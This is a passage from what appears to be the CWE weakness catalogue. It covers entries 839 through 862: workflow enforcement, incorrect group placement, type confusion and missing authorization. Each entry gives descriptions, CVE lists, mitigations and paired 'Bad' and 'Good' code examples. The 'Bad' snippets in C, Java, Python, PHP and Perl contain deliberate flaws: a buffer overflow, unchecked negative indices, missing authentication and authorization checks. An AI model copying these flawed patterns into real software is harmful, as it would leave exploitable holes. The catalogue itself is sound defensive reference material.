    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

### Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C

(Bad)

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and

may allow access to sensitive memory. The input array index should be checked to verify that it is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(Good)

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

```

#### Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java

(Bad)

```
public class BankAccount {
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {...}
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
            double newBalance = accountBalance - withdrawAmount;
            accountBalance = newBalance;
        }
        else {
            System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
            ...
        }
    }
    // other methods for accessing the BankAccount object
    ...
}

```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: Java

(Good)

```
public class BankAccount {
    public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    ...
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
            withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
            ...
        }
    }
}

```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

### Observed Examples

Reference	Description
<b>CVE-2010-1866</b>	Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2010-1866">https://www.cve.org/CVERecord?id=CVE-2010-1866</a>
<b>CVE-2009-1099</b>	Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1099">https://www.cve.org/CVERecord?id=CVE-2009-1099</a>
<b>CVE-2011-0521</b>	Chain: kernel's lack of a check for a negative value leads to memory corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2011-0521">https://www.cve.org/CVERecord?id=CVE-2011-0521</a>
<b>CVE-2010-3704</b>	Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3704">https://www.cve.org/CVERecord?id=CVE-2010-3704</a>
<b>CVE-2010-2530</b>	Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory. <a href="https://www.cve.org/CVERecord?id=CVE-2010-2530">https://www.cve.org/CVERecord?id=CVE-2010-2530</a>
<b>CVE-2009-3080</b>	Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3080">https://www.cve.org/CVERecord?id=CVE-2009-3080</a>
<b>CVE-2008-6393</b>	chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2008-6393">https://www.cve.org/CVERecord?id=CVE-2008-6393</a>
<b>CVE-2008-4558</b>	chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4558">https://www.cve.org/CVERecord?id=CVE-2008-4558</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-841: Improper Enforcement of Behavioral Workflow

**Weakness ID** : 841

**Structure** : Simple

**Abstraction** : Base

### Description



The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

### Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the product or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the product might still perform the transfer.

Note that this is different than CWE-696, which focuses on when the product performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2225

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2272
MemberOf	C	438	Behavioral Problems	2120
MemberOf	C	840	Business Logic Errors	2153

### Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	
	<i>An attacker could cause the product to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.</i>	

### Demonstrative Examples

#### Example 1:

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

Example Language: Python

(Bad)

```
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return
    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user,args):
            sendFile(args)
            return
    if command == 'List_files':
        listFiles(args)
        return
    ...
```

The server correctly avoids sending files to a user that isn't logged in and doesn't own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

Example Language: Python

(Good)

```
def dispatchCommand(command, user, args):
    ...
    if command == 'List_files':
        if authenticated(user) and ownsDirectory(user,args):
            listFiles(args)
            return
    ...
```

## Observed Examples

Reference	Description
<b>CVE-2011-0348</b>	Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination. <a href="https://www.cve.org/CVERecord?id=CVE-2011-0348">https://www.cve.org/CVERecord?id=CVE-2011-0348</a>
<b>CVE-2007-3012</b>	Attacker can access portions of a restricted page by canceling out of a dialog. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3012">https://www.cve.org/CVERecord?id=CVE-2007-3012</a>
<b>CVE-2009-5056</b>	Ticket-tracking system does not enforce a permission setting. <a href="https://www.cve.org/CVERecord?id=CVE-2009-5056">https://www.cve.org/CVERecord?id=CVE-2009-5056</a>
<b>CVE-2004-2164</b>	Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2164">https://www.cve.org/CVERecord?id=CVE-2004-2164</a>
<b>CVE-2003-0777</b>	Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0777">https://www.cve.org/CVERecord?id=CVE-2003-0777</a>
<b>CVE-2005-3327</b>	Chain: Authentication bypass by skipping the first startup step as required by the protocol. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3327">https://www.cve.org/CVERecord?id=CVE-2005-3327</a>
<b>CVE-2004-0829</b>	Chain: File server crashes when sent a "find next" request without an initial "find first." <a href="https://www.cve.org/CVERecord?id=CVE-2004-0829">https://www.cve.org/CVERecord?id=CVE-2004-0829</a>

Reference	Description
<b>CVE-2010-2620</b>	FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first. <a href="https://www.cve.org/CVERecord?id=CVE-2010-2620">https://www.cve.org/CVERecord?id=CVE-2010-2620</a>
<b>CVE-2005-3296</b>	FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3296">https://www.cve.org/CVERecord?id=CVE-2005-3296</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

#### Research Gap

This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses. The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	40		Insufficient Process Validation

### References

[REF-795]Jeremiah Grossman. "Business Logic Flaws and Yahoo Games". 2006 December 8. < <http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html> >.

[REF-796]Jeremiah Grossman. "Seven Business Logic Flaws That Put Your Website At Risk". 2007 October. < [http://www.whitehatsec.com/home/assets/WP\\_bizlogic092407.pdf](http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf) >.

[REF-797]WhiteHat Security. "Business Logic Flaws". < [http://www.whitehatsec.com/home/solutions/BL\\_auction.html](http://www.whitehatsec.com/home/solutions/BL_auction.html) >.

[REF-806]WASC. "Insufficient Process Validation". < <http://projects.webappsec.org/w/page/13246943/Insufficient-Process-Validation> >.

[REF-799]Rafal Los and Prajakta Jagdale. "Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic". 2011. < <http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation> >.

[REF-667]Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581> >.

[REF-801]Viktoria Felmetsger, Ludovico Cavedon, Christopher Kruegel and Giovanni Vigna. "Toward Automated Detection of Logic Vulnerabilities in Web Applications". USENIX Security

Symposium 2010. 2010 August. < [http://www.usenix.org/events/sec10/tech/full\\_papers/Felmetsger.pdf](http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf) >.

[REF-802]Faisal Nabi. "Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems". International Journal of Network Security, Vol.12, No.1. 2011. < <http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf> >.

## CWE-842: Placement of User into Incorrect Group

**Weakness ID** : 842

**Structure** : Simple

**Abstraction** : Base

### Description

The product or the administrator places a user into an incorrect group.

### Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		286	Incorrect User Management	656

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1212	Authorization Errors	2269

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Observed Examples

Reference	Description
<b>CVE-1999-1193</b>	Operating system assigns user to privileged wheel group, allowing the user to gain root privileges. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1193">https://www.cve.org/CVERecord?id=CVE-1999-1193</a>
<b>CVE-2010-3716</b>	Chain: drafted web request allows the creation of users with arbitrary group membership. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3716">https://www.cve.org/CVERecord?id=CVE-2010-3716</a>
<b>CVE-2008-5397</b>	Chain: improper processing of configuration options causes users to contain unintended group memberships. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5397">https://www.cve.org/CVERecord?id=CVE-2008-5397</a>
<b>CVE-2007-6644</b>	CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-6644">https://www.cve.org/CVERecord?id=CVE-2007-6644</a>
<b>CVE-2007-3260</b>	Product assigns members to the root group, allowing escalation of privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3260">https://www.cve.org/CVERecord?id=CVE-2007-3260</a>
<b>CVE-2002-0080</b>	Chain: daemon does not properly clear groups before dropping privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0080">https://www.cve.org/CVERecord?id=CVE-2002-0080</a>

## CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

**Weakness ID** : 843

**Structure** : Simple

**Abstraction** : Base

### Description

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

### Extended Description

When the product accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.



While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		704	Incorrect Type Conversion or Cast	1435
PeerOf		1287	Improper Validation of Specified Type of Input	1972
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		704	Incorrect Type Conversion or Cast	1435

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		136	Type Errors	2102

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Alternate Terms

**Object Type Confusion** :

### Common Consequences

Scope	Impact	Likelihood
Availability	Read Memory	
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart	
<p><i>When a memory buffer is accessed using the wrong type, it could read or write memory out of the bounds of the buffer, if the allocated buffer is smaller than the type that the code is attempting to access, leading to a crash and possibly code execution.</i></p>		

### Demonstrative Examples

#### Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

*Example Language:* C

(Bad)

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};
int main (int argc, char **argv) {
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    }
    else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}
```

The code intends to process the message as a NAME\_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830  
 Pointer of name is now 10831  
 Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

### Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

*Example Language: PHP*

*(Bad)*

```
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";
```

When called with the following query string:

value=123

the program calculates the sum and prints out:

SUM is 128

However, the attacker could supply a query string such as:

value[]=123

The "[]" array syntax causes \$value to be treated as an array type, which then generates a fatal error when calculating \$sum:

Fatal error: Unsupported operand types in program.php on line 2

### Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the \$UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

*Example Language: Perl*

*(Bad)*

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
    print "Regular user!\n";
}
else {
    print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "\$UserPrivilegeArray->{\$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the \$UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.



## Observed Examples

Reference	Description
<b>CVE-2010-4577</b>	Type confusion in CSS sequence leads to out-of-bounds read. <a href="https://www.cve.org/CVERecord?id=CVE-2010-4577">https://www.cve.org/CVERecord?id=CVE-2010-4577</a>
<b>CVE-2011-0611</b>	Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild. <a href="https://www.cve.org/CVERecord?id=CVE-2011-0611">https://www.cve.org/CVERecord?id=CVE-2011-0611</a>
<b>CVE-2010-0258</b>	Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended. <a href="https://www.cve.org/CVERecord?id=CVE-2010-0258">https://www.cve.org/CVERecord?id=CVE-2010-0258</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248

## Notes

### Applicable Platform

This weakness is possible in any type-unsafe programming language.

### Research Gap

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP39-C	Exact	Do not access a variable through a pointer of an incompatible type

## References

[REF-811]Mark Dowd, Ryan Smith and David Dewey. "Attacking Interoperability". 2009. < [http://www.azimuthsecurity.com/resources/bh2009\\_dowd\\_smith\\_dewey.pdf](http://www.azimuthsecurity.com/resources/bh2009_dowd_smith_dewey.pdf) >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-862: Missing Authorization

**Weakness ID** : 862  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

## Extended Description






Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649
ParentOf		425	Direct Request ('Forced Browsing')	969
ParentOf		638	Not Using Complete Mediation	1322
ParentOf		939	Improper Authorization in Handler for Custom URL Scheme	1709
ParentOf		1314	Missing Write Protection for Parametric Data Values	2015

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		425	Direct Request ('Forced Browsing')	969

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

**Technology** : Database Server (*Prevalence = Often*)

## Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

## Alternate Terms

**AuthZ** : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i>	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism  <i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.</i>	

### Detection Methods

#### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

*Effectiveness = Limited*

#### Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

*Effectiveness = Moderate*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.*

### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Architecture and Design**

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

### **Phase: Architecture and Design**

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization

frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

### Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

### Phase: System Configuration

#### Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

### Demonstrative Examples

#### Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

*Example Language: PHP*

*(Bad)*

```
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

#### Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the `$id` argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

*Example Language: Perl*

*(Bad)*

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
```

```
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

### Observed Examples

Reference	Description
<b>CVE-2022-24730</b>	Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information <a href="https://www.cve.org/CVERecord?id=CVE-2022-24730">https://www.cve.org/CVERecord?id=CVE-2022-24730</a>
<b>CVE-2009-3168</b>	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3168">https://www.cve.org/CVERecord?id=CVE-2009-3168</a>
